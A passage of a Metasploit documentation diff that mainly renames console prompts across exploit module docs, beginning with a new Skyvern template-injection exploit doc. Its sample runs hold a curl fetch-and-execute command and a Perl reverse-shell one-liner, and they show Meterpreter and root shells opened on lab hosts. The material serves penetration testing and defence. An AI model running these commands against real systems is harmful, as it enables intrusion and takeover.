don't change it + # - AZURE_DEPLOYMENT= # Use the OpenAI model "Deployment Name" that you deployed, using the steps above + # - AZURE_API_KEY= # Copy and paste Key1 or Key2 from the OpenAI resource in Azure Portal + # - AZURE_API_BASE= # Copy and paste the "Endpoint" from the OpenAI resource in Azure Portal (eg. https://xyzxyzxyz.openai.azure.com/) + # - AZURE_API_VERSION= # Specify a valid Azure OpenAI data-plane API version (eg. 2024-08-01-preview) Docs: https://learn.microsoft.com/en-us/azure/ai-services/openai/reference + # Amazon Bedrock Support: + # Amazon Bedrock is a managed service that enables you to invoke LLMs and bill them through your AWS account. + # To use Amazon Bedrock as the LLM provider for Skyvern, specify the following environment variables. + # 1. In the AWS IAM console, create a new AWS IAM User (name it whatever you want) + # 2. Assign the "AmazonBedrockFullAccess" policy to the user + # 3. Generate an IAM Access Key under the IAM User's Security Credentials tab + # 4. In the Amazon Bedrock console, go to "Model Access" + # 5. Click Modify Model Access button + # 6. Enable "Claude 3.5 Sonnet v2" and save changes + # - ENABLE_BEDROCK=true + # - LLM_KEY=BEDROCK_ANTHROPIC_CLAUDE3.5_SONNET # This is the Claude 3.5 Sonnet "V2" model. Change to BEDROCK_ANTHROPIC_CLAUDE3.5_SONNET_V1 for the non-v2 version. + # - AWS_REGION=us-west-2 # Replace this with a different AWS region, if you desire + # - AWS_ACCESS_KEY_ID=FILL_ME_IN_PLEASE + # - AWS_SECRET_ACCESS_KEY=FILL_ME_IN_PLEASE + # Ollama Support: + # Ollama is a local LLM provider that can be used to run models locally on your machine. + # - LLM_KEY=OLLAMA + # - ENABLE_OLLAMA=true + # - OLLAMA_MODEL=qwen2.5:7b-instruct + # - OLLAMA_SERVER_URL=http://host.docker.internal:11434 + # Open Router Support: + # - ENABLE_OPENROUTER=true + # - LLM_KEY=OPENROUTER + # - OPENROUTER_API_KEY= + # - OPENROUTER_MODEL=mistralai/mistral-small-3.1-24b-instruct + # Groq Support: + # - ENABLE_GROQ=true + # - LLM_KEY=GROQ + # - GROQ_API_KEY= + # - GROQ_MODEL=llama-3.1-8b-instant + + # Maximum tokens to use: (only set for OpenRouter aand Ollama) + # - LLM_CONFIG_MAX_TOKENS=128000 + + # Bitwarden Settings + # If you are looking to integrate Skyvern with a password manager (eg Bitwarden), you can use the following environment variables. + # - BITWARDEN_SERVER=http://localhost # OPTIONAL IF YOU ARE SELF HOSTING BITWARDEN + # - BITWARDEN_SERVER_PORT=8002 # OPTIONAL IF YOU ARE SELF HOSTING BITWARDEN + # - BITWARDEN_CLIENT_ID=FILL_ME_IN_PLEASE + # - BITWARDEN_CLIENT_SECRET=FILL_ME_IN_PLEASE + # - BITWARDEN_MASTER_PASSWORD=FILL_ME_IN_PLEASE + + # 1Password Integration + # If you are looking to integrate Skyvern with 1Password, you can use the following environment variables. + # OP_SERVICE_ACCOUNT_TOKEN="" + depends_on: + postgres: + condition: service_healthy + healthcheck: + test: ["CMD", "test", "-f", "/app/.streamlit/secrets.toml"] + interval: 5s + timeout: 5s + retries: 5 + skyvern-ui: + image: public.ecr.aws/skyvern/skyvern-ui:latest + restart: on-failure + ports: + - 8080:8080 + - 9090:9090 + volumes: + - ./artifacts:/data/artifacts + - ./videos:/data/videos + - ./har:/data/har + - ./.streamlit:/app/.streamlit + env_file: + - skyvern-frontend/.env + environment: {} + # - VITE_ENABLE_CODE_BLOCK=true + # if you want to run skyvern on a remote server, + # you need to change the host in VITE_WSS_BASE_URL and VITE_API_BASE_URL to match your server ip + # If you're self-hosting this behind a dns, you'll want to set: + # A route for the API: api.yourdomain.com -> localhost:8000 + # A route for the UI: yourdomain.com -> localhost:8080 + # A route for the artifact API: artifact.yourdomain.com -> localhost:9090 (maybe not needed) + # - VITE_WSS_BASE_URL=ws://localhost:8000/api/v1 + # - VITE_ARTIFACT_API_BASE_URL=http://localhost:9090 + # - VITE_API_BASE_URL=http://localhost:8000/api/v1 + # - VITE_SKYVERN_API_KEY= + depends_on: + skyvern: + condition: service_healthy +``` +6. `docker-compose up` + + +## Verification Steps + +1. Install the application +2. Start msfconsole +3. Do: `use linux/http/skyvern_ssti_cve_2025_49619` +4. Set `rhost`,`rport`, `lhost`, `lport` +5. Do: `set API_KEY [skyvern API key]` +6. Do: `run` +7. You should get a shell. + +## Options + +### API_KEY + +The Skyvern uses API key to access API and manage the application. +It is necessary to view, create and modify workflows. It can be acquired from UI interface. + +## Scenarios + +Vulnerable version is <=0.1.84. + +``` +msf exploit(linux/http/skyvern_ssti_cve_2025_49619) > run verbose=true +[*] Command to run on remote host: curl -so ./SFDHeJURLqF http://192.168.168.183:8080/YtbemzlkZg8l1wkKWmIdEg;chmod +x ./SFDHeJURLqF;./SFDHeJURLqF& +[*] Fetch handler listening on 192.168.168.183:8080 +[*] HTTP server started +[*] Adding resource /YtbemzlkZg8l1wkKWmIdEg +[*] Started reverse TCP handler on 192.168.168.183:4444 +[*] Client 192.168.168.146 requested /YtbemzlkZg8l1wkKWmIdEg +[*] Sending payload to 192.168.168.146 (curl/7.88.1) +[*] Transmitting intermediate stager...(126 bytes) +[*] Sending stage (3045380 bytes) to 192.168.168.146 +[*] Meterpreter session 1 opened (192.168.168.183:4444 -> 192.168.168.146:48480) at 2025-06-23 10:04:13 +0200 + +meterpreter > sysinfo +Computer : 172.18.0.3 +OS : Debian 12.10 (Linux 6.8.0-52-generic) +Architecture : x64 +BuildTuple : x86_64-linux-musl +Meterpreter : x64/linux + +``` diff --git a/documentation/modules/exploit/linux/http/solarview_unauth_rce_cve_2023_23333.md b/documentation/modules/exploit/linux/http/solarview_unauth_rce_cve_2023_23333.md index f9d69d0044380..dc7300abe2bd2 100644 --- a/documentation/modules/exploit/linux/http/solarview_unauth_rce_cve_2023_23333.md +++ b/documentation/modules/exploit/linux/http/solarview_unauth_rce_cve_2023_23333.md @@ -86,7 +86,7 @@ systemctl start apache2 - [ ] `exploit` - [ ] you should get a `reverse shell` or `Meterpreter` ``` -msf6 exploit(linux/http/solarview_unauth_rce_cve_2023_23333) > info +msf exploit(linux/http/solarview_unauth_rce_cve_2023_23333) > info Name: SolarView Compact unauthenticated remote command execution vulnerability. Module: exploit/linux/http/solarview_unauth_rce_cve_2023_23333 @@ -174,9 +174,9 @@ to bypass any security settings on the Web and PHP server. ## Scenarios ### Ubuntu 22.04 PHP - php/meterpreter/reverse_tcp ``` -msf6 exploit(linux/http/solarview_unauth_rce_cve_2023_23333) > set target 0 +msf exploit(linux/http/solarview_unauth_rce_cve_2023_23333) > set target 0 target => 0 -msf6 exploit(linux/http/solarview_unauth_rce_cve_2023_23333) > exploit +msf exploit(linux/http/solarview_unauth_rce_cve_2023_23333) > exploit [*] Started reverse TCP handler on 192.168.201.8:4444 [*] Running automatic check ("set AutoCheck false" to disable) @@ -197,9 +197,9 @@ meterpreter > ``` ### Ubuntu 22.04 Unix Command - cmd/unix/reverse_bash ``` -msf6 exploit(linux/http/solarview_unauth_rce_cve_2023_23333) > set target 1 +msf exploit(linux/http/solarview_unauth_rce_cve_2023_23333) > set target 1 target => 1 -msf6 exploit(linux/http/solarview_unauth_rce_cve_2023_23333) > exploit +msf exploit(linux/http/solarview_unauth_rce_cve_2023_23333) > exploit [*] Started reverse TCP handler on 192.168.201.8:4444 [*] Running automatic check ("set AutoCheck false" to disable) @@ -215,13 +215,13 @@ uid=1002(contec) gid=0(root) groups=0(root) ``` ### Ubuntu 22.04 Linux Dropper - linux/x64/meterpreter/reverse_tcp ``` -msf6 exploit(linux/http/solarview_unauth_rce_cve_2023_23333) > set target 2 +msf exploit(linux/http/solarview_unauth_rce_cve_2023_23333) > set target 2 target => 2 -msf6 exploit(linux/http/solarview_unauth_rce_cve_2023_23333) > set payload linux/x64/meterpreter/reverse_tcp +msf exploit(linux/http/solarview_unauth_rce_cve_2023_23333) > set payload linux/x64/meterpreter/reverse_tcp payload => linux/x64/meterpreter/reverse_tcp -msf6 exploit(linux/http/solarview_unauth_rce_cve_2023_23333) > set srvport 8080 +msf exploit(linux/http/solarview_unauth_rce_cve_2023_23333) > set srvport 8080 srvport => 8080 -msf6 exploit(linux/http/solarview_unauth_rce_cve_2023_23333) > exploit +msf exploit(linux/http/solarview_unauth_rce_cve_2023_23333) > exploit [*] Started reverse TCP handler on 192.168.201.8:4444 [*] Running automatic check ("set AutoCheck false" to disable) @@ -249,15 +249,15 @@ meterpreter > exit ### Kali Linux 2023.3 Linux Dropper - linux/armle/meterpreter_reverse_tcp To simulate and test the ARM 32-bit architecture using a Raspberry PI with ARM-32 bit support installed. ``` -msf6 exploit(linux/http/solarview_unauth_rce_cve_2023_23333) > set target 2 +msf exploit(linux/http/solarview_unauth_rce_cve_2023_23333) > set target 2 target => 2 -msf6 exploit(linux/http/solarview_unauth_rce_cve_2023_23333) > set payload linux/armle/meterpreter_reverse_tcp +msf exploit(linux/http/solarview_unauth_rce_cve_2023_23333) > set payload linux/armle/meterpreter_reverse_tcp payload => linux/armle/meterpreter_reverse_tcp -msf6 exploit(linux/http/solarview_unauth_rce_cve_2023_23333) > set srvport 8080 +msf exploit(linux/http/solarview_unauth_rce_cve_2023_23333) > set srvport 8080 srvport => 8080 -msf6 exploit(linux/http/solarview_unauth_rce_cve_2023_23333) > exploit +msf exploit(linux/http/solarview_unauth_rce_cve_2023_23333) > exploit -msf6 exploit(linux/http/solarview_unauth_rce_cve_2023_23333) > exploit +msf exploit(linux/http/solarview_unauth_rce_cve_2023_23333) > exploit [*] Started reverse TCP handler on 192.168.201.8:4444 [*] Running automatic check ("set AutoCheck false" to disable) diff --git a/documentation/modules/exploit/linux/http/sonicwall_cve_2021_20039.md b/documentation/modules/exploit/linux/http/sonicwall_cve_2021_20039.md index e3095c8db2513..7e9ddef5d0edd 100644 --- a/documentation/modules/exploit/linux/http/sonicwall_cve_2021_20039.md +++ b/documentation/modules/exploit/linux/http/sonicwall_cve_2021_20039.md @@ -56,17 +56,17 @@ The name of the domain to authenticate to. The default is "LocalDomain". ### SMA 500v 10.2.1.1-19sv. Default creds. Get Meterpreter session. ``` -msf6 > use exploit/linux/http/sonicwall_cve_2021_20039 +msf > use exploit/linux/http/sonicwall_cve_2021_20039 [*] Using configured payload linux/x86/meterpreter/reverse_tcp -msf6 exploit(linux/http/sonicwall_cve_2021_20039) > set RHOST 10.0.0.7 +msf exploit(linux/http/sonicwall_cve_2021_20039) > set RHOST 10.0.0.7 RHOST => 10.0.0.7 -msf6 exploit(linux/http/sonicwall_cve_2021_20039) > check +msf exploit(linux/http/sonicwall_cve_2021_20039) > check [*] Version found: 10.2.1.1-19sv [*] 10.0.0.7:443 - The target appears to be vulnerable. Based on the discovered version. -msf6 exploit(linux/http/sonicwall_cve_2021_20039) > set LHOST 10.0.0.9 +msf exploit(linux/http/sonicwall_cve_2021_20039) > set LHOST 10.0.0.9 LHOST => 10.0.0.9 -msf6 exploit(linux/http/sonicwall_cve_2021_20039) > exploit +msf exploit(linux/http/sonicwall_cve_2021_20039) > exploit [*] Started reverse TCP handler on 10.0.0.9:4444 [*] Running automatic check ("set AutoCheck false" to disable) @@ -96,19 +96,19 @@ uid=0(root) gid=99(nobody) groups=0(root),99(nobody) ### SMA 500v 9.0.0.10-28sv. Non-default creds. Get Meterpreter session. ``` -msf6 > use exploit/linux/http/sonicwall_cve_2021_20039 +msf > use exploit/linux/http/sonicwall_cve_2021_20039 [*] Using configured payload linux/x86/meterpreter/reverse_tcp -msf6 exploit(linux/http/sonicwall_cve_2021_20039) > set RHOST 10.0.0.6 +msf exploit(linux/http/sonicwall_cve_2021_20039) > set RHOST 10.0.0.6 RHOST => 10.0.0.6 -msf6 exploit(linux/http/sonicwall_cve_2021_20039) > check +msf exploit(linux/http/sonicwall_cve_2021_20039) > check [*] Version found: 9.0.0.10-28sv [*] 10.0.0.6:443 - The target appears to be vulnerable. Based on the discovered version. -msf6 exploit(linux/http/sonicwall_cve_2021_20039) > set LHOST 10.0.0.9 +msf exploit(linux/http/sonicwall_cve_2021_20039) > set LHOST 10.0.0.9 LHOST => 10.0.0.9 -msf6 exploit(linux/http/sonicwall_cve_2021_20039) > set PASSWORD labpass1 +msf exploit(linux/http/sonicwall_cve_2021_20039) > set PASSWORD labpass1 PASSWORD => labpass1 -msf6 exploit(linux/http/sonicwall_cve_2021_20039) > exploit +msf exploit(linux/http/sonicwall_cve_2021_20039) > exploit [*] Started reverse TCP handler on 10.0.0.9:4444 [*] Running automatic check ("set AutoCheck false" to disable) diff --git a/documentation/modules/exploit/linux/http/sophos_utm_webadmin_sid_cmd_injection.md b/documentation/modules/exploit/linux/http/sophos_utm_webadmin_sid_cmd_injection.md index d68c0fea24efb..4a2339a7e6a43 100644 --- a/documentation/modules/exploit/linux/http/sophos_utm_webadmin_sid_cmd_injection.md +++ b/documentation/modules/exploit/linux/http/sophos_utm_webadmin_sid_cmd_injection.md @@ -26,9 +26,9 @@ Follow [Setup](#setup) and [Scenarios](#scenarios). ### Sophos UTM 9.510 ``` -msf6 > use exploit/linux/http/sophos_utm_webadmin_sid_cmd_injection +msf > use exploit/linux/http/sophos_utm_webadmin_sid_cmd_injection [*] Using configured payload cmd/unix/reverse_perl_ssl -msf6 exploit(linux/http/sophos_utm_webadmin_sid_cmd_injection) > options +msf exploit(linux/http/sophos_utm_webadmin_sid_cmd_injection) > options Module options (exploit/linux/http/sophos_utm_webadmin_sid_cmd_injection): @@ -61,13 +61,13 @@ Exploit target: 0 Unix Command -msf6 exploit(linux/http/sophos_utm_webadmin_sid_cmd_injection) > set rhosts 172.16.57.254 +msf exploit(linux/http/sophos_utm_webadmin_sid_cmd_injection) > set rhosts 172.16.57.254 rhosts => 172.16.57.254 -msf6 exploit(linux/http/sophos_utm_webadmin_sid_cmd_injection) > set lhost 172.16.57.1 +msf exploit(linux/http/sophos_utm_webadmin_sid_cmd_injection) > set lhost 172.16.57.1 lhost => 172.16.57.1 -msf6 exploit(linux/http/sophos_utm_webadmin_sid_cmd_injection) > set verbose true +msf exploit(linux/http/sophos_utm_webadmin_sid_cmd_injection) > set verbose true verbose => true -msf6 exploit(linux/http/sophos_utm_webadmin_sid_cmd_injection) > run +msf exploit(linux/http/sophos_utm_webadmin_sid_cmd_injection) > run [+] perl -e 'use IO::Socket::SSL;$p=fork;exit,if($p);$c=IO::Socket::SSL->new(PeerAddr=>"172.16.57.1:443",SSL_verify_mode=>0);while(sysread($c,$i,8192)){syswrite($c,`$i`);}' [-] Handler failed to bind to 172.16.57.1:443 diff --git a/documentation/modules/exploit/linux/http/sourcegraph_gitserver_sshcmd.md b/documentation/modules/exploit/linux/http/sourcegraph_gitserver_sshcmd.md index 629c09fd1a46c..a187c186c94ac 100644 --- a/documentation/modules/exploit/linux/http/sourcegraph_gitserver_sshcmd.md +++ b/documentation/modules/exploit/linux/http/sourcegraph_gitserver_sshcmd.md @@ -58,19 +58,19 @@ An existing, cloned repository. If this value is not set, a random one will be s ### Docker v3.36.3 ``` -msf6 > use exploit/linux/http/sourcegraph_gitserver_sshcmd +msf > use exploit/linux/http/sourcegraph_gitserver_sshcmd [*] Using configured payload cmd/unix/python/meterpreter/reverse_tcp -msf6 exploit(linux/http/sourcegraph_gitserver_sshcmd) > set RHOSTS 192.168.159.128 +msf exploit(linux/http/sourcegraph_gitserver_sshcmd) > set RHOSTS 192.168.159.128 RHOSTS => 192.168.159.128 -msf6 exploit(linux/http/sourcegraph_gitserver_sshcmd) > set TARGET Unix\ Command +msf exploit(linux/http/sourcegraph_gitserver_sshcmd) > set TARGET Unix\ Command TARGET => Unix Command -msf6 exploit(linux/http/sourcegraph_gitserver_sshcmd) > set PAYLOAD cmd/unix/python/meterpreter/reverse_tcp +msf exploit(linux/http/sourcegraph_gitserver_sshcmd) > set PAYLOAD cmd/unix/python/meterpreter/reverse_tcp PAYLOAD => cmd/unix/python/meterpreter/reverse_tcp -msf6 exploit(linux/http/sourcegraph_gitserver_sshcmd) > set LHOST 192.168.250.134 +msf exploit(linux/http/sourcegraph_gitserver_sshcmd) > set LHOST 192.168.250.134 LHOST => 192.168.250.134 -msf6 exploit(linux/http/sourcegraph_gitserver_sshcmd) > check +msf exploit(linux/http/sourcegraph_gitserver_sshcmd) > check [+] 192.168.159.128:3178 - The target is vulnerable. Successfully set core.sshCommand. -msf6 exploit(linux/http/sourcegraph_gitserver_sshcmd) > exploit +msf exploit(linux/http/sourcegraph_gitserver_sshcmd) > exploit [*] Started reverse TCP handler on 192.168.250.134:4444 [*] Running automatic check ("set AutoCheck false" to disable) diff --git a/documentation/modules/exploit/linux/http/spark_unauth_rce.md b/documentation/modules/exploit/linux/http/spark_unauth_rce.md index 19e832554add1..fa79ed2d2b32d 100644 --- a/documentation/modules/exploit/linux/http/spark_unauth_rce.md +++ b/documentation/modules/exploit/linux/http/spark_unauth_rce.md @@ -27,32 +27,32 @@ https://github.com/vulhub/vulhub/tree/master/spark/unacc ### Spark 2.3.1 ``` -msf5 > use exploit/linux/http/spark_unauth_rce -msf5 exploit(linux/http/spark_unauth_rce) > set rhosts 127.0.0.1 +msf > use exploit/linux/http/spark_unauth_rce +msf exploit(linux/http/spark_unauth_rce) > set rhosts 127.0.0.1 rhosts => 127.0.0.1 -msf5 exploit(linux/http/spark_unauth_rce) > set rport 6066 +msf exploit(linux/http/spark_unauth_rce) > set rport 6066 rport => 6066 -msf5 exploit(linux/http/spark_unauth_rce) > set srvhost 10.139.14.167 +msf exploit(linux/http/spark_unauth_rce) > set srvhost 10.139.14.167 srvhost => 10.139.14.167 -msf5 exploit(linux/http/spark_unauth_rce) > set srvport 9999 +msf exploit(linux/http/spark_unauth_rce) > set srvport 9999 srvport => 9999 -msf5 exploit(linux/http/spark_unauth_rce) > set payload java/meterpreter/reverse_tcp +msf exploit(linux/http/spark_unauth_rce) > set payload java/meterpreter/reverse_tcp payload => java/meterpreter/reverse_tcp -msf5 exploit(linux/http/spark_unauth_rce) > set lhost 10.139.14.167 +msf exploit(linux/http/spark_unauth_rce) > set lhost 10.139.14.167 lhost => 10.139.14.167 -msf5 exploit(linux/http/spark_unauth_rce) > set lport 5555 +msf exploit(linux/http/spark_unauth_rce) > set lport 5555 lport => 5555 -msf5 exploit(linux/http/spark_unauth_rce) > exploit +msf exploit(linux/http/spark_unauth_rce) > exploit [*] Exploit running as background job 3. [*] Exploit completed, but no session was created. [*] Started reverse TCP handler on 10.139.14.167:5555 -msf5 exploit(linux/http/spark_unauth_rce) > [*] Starting up our web service ... +msf exploit(linux/http/spark_unauth_rce) > [*] Starting up our web service ... [*] Using URL: http://10.139.14.167:9999/feTYHNiHufrGI [*] 127.0.0.1:6066 - Sending the payload to the server... [*] Sending stage (53867 bytes) to 10.139.14.167 [*] Meterpreter session 2 opened (10.139.14.167:5555 -> 10.139.14.167:56021) at 2018-11-12 16:59:33 +0800 -msf5 exploit(linux/http/apache_couchdb_cmd_exec) > sessions +msf exploit(linux/http/apache_couchdb_cmd_exec) > sessions Active sessions =============== @@ -61,7 +61,7 @@ Active sessions -- ---- ---- ----------- ---------- 2 meterpreter java/linux root @ 96b2135aee9c 10.139.14.167:5555 -> 10.139.14.167:56021 (127.0.0.1) -msf5 exploit(linux/http/apache_couchdb_cmd_exec) > sessions -i 2 +msf exploit(linux/http/apache_couchdb_cmd_exec) > sessions -i 2 [*] Starting interaction with 2... meterpreter > getuid diff --git a/documentation/modules/exploit/linux/http/spring_cloud_gateway_rce.md b/documentation/modules/exploit/linux/http/spring_cloud_gateway_rce.md index bbae0858db9f1..51cbe5ff168e3 100644 --- a/documentation/modules/exploit/linux/http/spring_cloud_gateway_rce.md +++ b/documentation/modules/exploit/linux/http/spring_cloud_gateway_rce.md @@ -53,15 +53,15 @@ No particular option to be set ### Spring Cloud gateway version 3.1.0 on Linux kali 5.18.0-kali5-amd64 ``` -msf6 > use exploit/linux/http/spring_cloud_gateway_rce +msf > use exploit/linux/http/spring_cloud_gateway_rce [*] Using configured payload linux/x64/meterpreter/reverse_tcp -msf6 exploit(linux/http/spring_cloud_gateway_rce) > set RHOSTS 192.168.19.140 +msf exploit(linux/http/spring_cloud_gateway_rce) > set RHOSTS 192.168.19.140 RHOSTS => 192.168.19.140 -msf6 exploit(linux/http/spring_cloud_gateway_rce) > set RPORT 9000 +msf exploit(linux/http/spring_cloud_gateway_rce) > set RPORT 9000 RPORT => 9000 -msf6 exploit(linux/http/spring_cloud_gateway_rce) > set LHOST 192.168.1.7 +msf exploit(linux/http/spring_cloud_gateway_rce) > set LHOST 192.168.1.7 LHOST => 192.168.1.7 -msf6 exploit(linux/http/spring_cloud_gateway_rce) > run +msf exploit(linux/http/spring_cloud_gateway_rce) > run [*] Started reverse TCP handler on 192.168.1.7:4444 [*] Running automatic check ("set AutoCheck false" to disable) diff --git a/documentation/modules/exploit/linux/http/suitecrm_log_file_rce.md b/documentation/modules/exploit/linux/http/suitecrm_log_file_rce.md index 5737237517e67..e0b40fabbe7fb 100644 --- a/documentation/modules/exploit/linux/http/suitecrm_log_file_rce.md +++ b/documentation/modules/exploit/linux/http/suitecrm_log_file_rce.md @@ -88,26 +88,26 @@ Operators: keep an eye out for the last couple of lines of output ## Scenarios ### SuiteCRM 7.11.18 Check + Target 0 (linux x64 meterpreter) ``` -msf6 > use exploit/linux/http/suitecrm_log_file_rce +msf > use exploit/linux/http/suitecrm_log_file_rce [*] Using configured payload linux/x64/meterpreter_reverse_tcp -msf6 exploit(linux/http/suitecrm_log_file_rce) > set RHOSTS 192.168.122.29 +msf exploit(linux/http/suitecrm_log_file_rce) > set RHOSTS 192.168.122.29 RHOSTS => 192.168.122.29 -msf6 exploit(linux/http/suitecrm_log_file_rce) > set USER admin +msf exploit(linux/http/suitecrm_log_file_rce) > set USER admin USER => admin -msf6 exploit(linux/http/suitecrm_log_file_rce) > set PASS admin +msf exploit(linux/http/suitecrm_log_file_rce) > set PASS admin PASS => admin -msf6 exploit(linux/http/suitecrm_log_file_rce) > set SRVHOST 192.168.122.125 +msf exploit(linux/http/suitecrm_log_file_rce) > set SRVHOST 192.168.122.125 SRVHOST => 192.168.122.125 -msf6 exploit(linux/http/suitecrm_log_file_rce) > set LHOST 192.168.122.125 +msf exploit(linux/http/suitecrm_log_file_rce) > set LHOST 192.168.122.125 LHOST => 192.168.122.125 -msf6 exploit(linux/http/suitecrm_log_file_rce) > check +msf exploit(linux/http/suitecrm_log_file_rce) > check [*] Authenticating as admin [+] Authenticated as: admin [+] admin has administrative rights. [+] SuiteCRM Version 7.11.18 [*] 192.168.122.29:80 - The target appears to be vulnerable. -msf6 exploit(linux/http/suitecrm_log_file_rce) > exploit +msf exploit(linux/http/suitecrm_log_file_rce) > exploit [*] Started reverse TCP handler on 192.168.122.125:4444 [*] Using URL: http://192.168.122.125:8080/NzzKmKY @@ -134,16 +134,16 @@ meterpreter > exit ### SuiteCRM 7.11.18 Check + Target 1 (Unix bash reverse TCP shell) This was run immediately after the previous scenario. Initialization is exactly the same. ``` -msf6 exploit(linux/http/suitecrm_log_file_rce) > sessions -i +msf exploit(linux/http/suitecrm_log_file_rce) > sessions -i Active sessions =============== No active sessions. -msf6 exploit(linux/http/suitecrm_log_file_rce) > set target 1 +msf exploit(linux/http/suitecrm_log_file_rce) > set target 1 target => 1 -msf6 exploit(linux/http/suitecrm_log_file_rce) > run +msf exploit(linux/http/suitecrm_log_file_rce) > run [*] Started reverse TCP handler on 192.168.122.125:4444 [*] Using URL: http://192.168.122.125:8080/Kle8QoPV diff --git a/documentation/modules/exploit/linux/http/symmetricom_syncserver_rce.md b/documentation/modules/exploit/linux/http/symmetricom_syncserver_rce.md index 785922ebbbd13..085c1df8e65e5 100644 --- a/documentation/modules/exploit/linux/http/symmetricom_syncserver_rce.md +++ b/documentation/modules/exploit/linux/http/symmetricom_syncserver_rce.md @@ -92,12 +92,12 @@ used when developing this module. ## Scenarios ``` -msf6 exploit(linux/http/symmetricom_syncserver_rce) > exploit +msf exploit(linux/http/symmetricom_syncserver_rce) > exploit [*] Exploit running as background job 0. [*] Exploit completed, but no session was created. [*] Started reverse TCP handler on 192.168.143.50:25 -msf6 exploit(linux/http/symmetricom_syncserver_rce) > [*] Using URL: http://192.168.143.50/payload.elf +msf exploit(linux/http/symmetricom_syncserver_rce) > [*] Using URL: http://192.168.143.50/payload.elf [*] 192.168.143.222:80 - Exploit started... [*] 192.168.143.222:80 - Sending wget command... #################### @@ -821,7 +821,7 @@ currentTab=ping&refreshMode=dirtyðDirty=false&snmpCfgDirty=false&snmpTrapDirt [*] Sending stage (1017704 bytes) to 192.168.143.222 [*] Meterpreter session 1 opened (192.168.143.50:25 -> 192.168.143.222:52474) at 2023-05-18 10:14:04 -0400 -msf6 exploit(linux/http/symmetricom_syncserver_rce) > sessions -i 1 +msf exploit(linux/http/symmetricom_syncserver_rce) > sessions -i 1 [*] Starting interaction with 1... meterpreter > getuid diff --git a/documentation/modules/exploit/linux/http/synology_dsm_smart_exec_auth.md b/documentation/modules/exploit/linux/http/synology_dsm_smart_exec_auth.md index 893a2492b7570..8335f9ba671e0 100644 --- a/documentation/modules/exploit/linux/http/synology_dsm_smart_exec_auth.md +++ b/documentation/modules/exploit/linux/http/synology_dsm_smart_exec_auth.md @@ -171,7 +171,7 @@ Wfsdelay needs to be at least a couple seconds to allow for payload download and This unit's version was not able to be determined automatically. `forceexploit` was set to `true` to enable it to run. ``` -msf5 exploit(linux/http/synology_dsm_smart_exec_auth) > run +msf exploit(linux/http/synology_dsm_smart_exec_auth) > run [*] Started reverse TCP handler on 192.168.135.168:4567 [*] Trying to detect installed version diff --git a/documentation/modules/exploit/linux/http/terramaster_unauth_rce_cve_2020_35665.md b/documentation/modules/exploit/linux/http/terramaster_unauth_rce_cve_2020_35665.md index 4a3036591fa93..0ee4efc8331d8 100644 --- a/documentation/modules/exploit/linux/http/terramaster_unauth_rce_cve_2020_35665.md +++ b/documentation/modules/exploit/linux/http/terramaster_unauth_rce_cve_2020_35665.md @@ -41,7 +41,7 @@ For the native PHP target, by default the `eval()` function will be used for nat ## Scenarios -```msf6 exploit(linux/http/terramaster_unauth_rce_cve_2020_35665) > info +```msf exploit(linux/http/terramaster_unauth_rce_cve_2020_35665) > info Name: TerraMaster TOS 4.2.06 or lower - Unauthenticated Remote Code Execution Module: exploit/linux/http/terramaster_unauth_rce_cve_2020_35665 @@ -124,9 +124,9 @@ References: ### TerraMaster F2-210 TOS 4.1.27 - PHP native `php/meterpreter/reverse_tcp` session ``` -msf6 exploit(linux/http/terramaster_unauth_rce_cve_2020_35665) > set target 0 +msf exploit(linux/http/terramaster_unauth_rce_cve_2020_35665) > set target 0 target => 0 -msf6 exploit(linux/http/terramaster_unauth_rce_cve_2020_35665) > exploit +msf exploit(linux/http/terramaster_unauth_rce_cve_2020_35665) > exploit [*] Started reverse TCP handler on 192.168.10.1:4444 [*] Running automatic check ("set AutoCheck false" to disable) @@ -146,9 +146,9 @@ meterpreter > ``` ### TerraMaster F2-210 TOS 4.1.27 - Unix Command `cmd/unix/reverse_bash` session ``` -msf6 exploit(linux/http/terramaster_unauth_rce_cve_2020_35665) > set target 1 +msf exploit(linux/http/terramaster_unauth_rce_cve_2020_35665) > set target 1 target => 1 -msf6 exploit(linux/http/terramaster_unauth_rce_cve_2020_35665) > exploit +msf exploit(linux/http/terramaster_unauth_rce_cve_2020_35665) > exploit [*] Started reverse TCP handler on 192.168.10.1:4444 [*] Running automatic check ("set AutoCheck false" to disable) @@ -164,9 +164,9 @@ uid=0(root) gid=0(root) groups=0(root) ``` ### TerraMaster F2-210 TOS 4.1.27 - Linux Dropper `linux/x64/meterpreter/reverse_tcp` session ``` -msf6 exploit(linux/http/terramaster_unauth_rce_cve_2020_35665) > set target 2 +msf exploit(linux/http/terramaster_unauth_rce_cve_2020_35665) > set target 2 target => 2 -msf6 exploit(linux/http/terramaster_unauth_rce_cve_2020_35665) > exploit +msf exploit(linux/http/terramaster_unauth_rce_cve_2020_35665) > exploit [*] Started reverse TCP handler on 192.168.10.1:4444 [*] Running automatic check ("set AutoCheck false" to disable) diff --git a/documentation/modules/exploit/linux/http/terramaster_unauth_rce_cve_2021_45837.md b/documentation/modules/exploit/linux/http/terramaster_unauth_rce_cve_2021_45837.md index ebdec8785e27e..9770fefca7fe2 100644 --- a/documentation/modules/exploit/linux/http/terramaster_unauth_rce_cve_2021_45837.md +++ b/documentation/modules/exploit/linux/http/terramaster_unauth_rce_cve_2021_45837.md @@ -40,9 +40,9 @@ No specific options. ### TerraMaster F2-210 TOS 4.2.08 - Unix Command `cmd/unix/reverse_bash` session ``` -msf6 exploit(linux/http/terramaster_unauth_rce_cve_2021_45837) > set target 0 +msf exploit(linux/http/terramaster_unauth_rce_cve_2021_45837) > set target 0 target => 0 -msf6 exploit(linux/http/terramaster_unauth_rce_cve_2021_45837) > exploit +msf exploit(linux/http/terramaster_unauth_rce_cve_2021_45837) > exploit [*] Started reverse TCP handler on 192.168.10.1:4444 [*] Running automatic check ("set AutoCheck false" to disable) @@ -57,9 +57,9 @@ uid=0(root) gid=0(root) groups=0(root) ``` ### TerraMaster F2-210 TOS 4.2.08 - Linux Dropper `linux/x64/meterpreter/reverse_tcp` session ``` -msf6 exploit(linux/http/terramaster_unauth_rce_cve_2021_45837) > set target 1 +msf exploit(linux/http/terramaster_unauth_rce_cve_2021_45837) > set target 1 target => 1 -msf6 exploit(linux/http/terramaster_unauth_rce_cve_2021_45837) > exploit +msf exploit(linux/http/terramaster_unauth_rce_cve_2021_45837) > exploit [*] Started reverse TCP handler on 192.168.10.1:4444 [*] Running automatic check ("set AutoCheck false" to disable) diff --git a/documentation/modules/exploit/linux/http/terramaster_unauth_rce_cve_2022_24990.md b/documentation/modules/exploit/linux/http/terramaster_unauth_rce_cve_2022_24990.md index 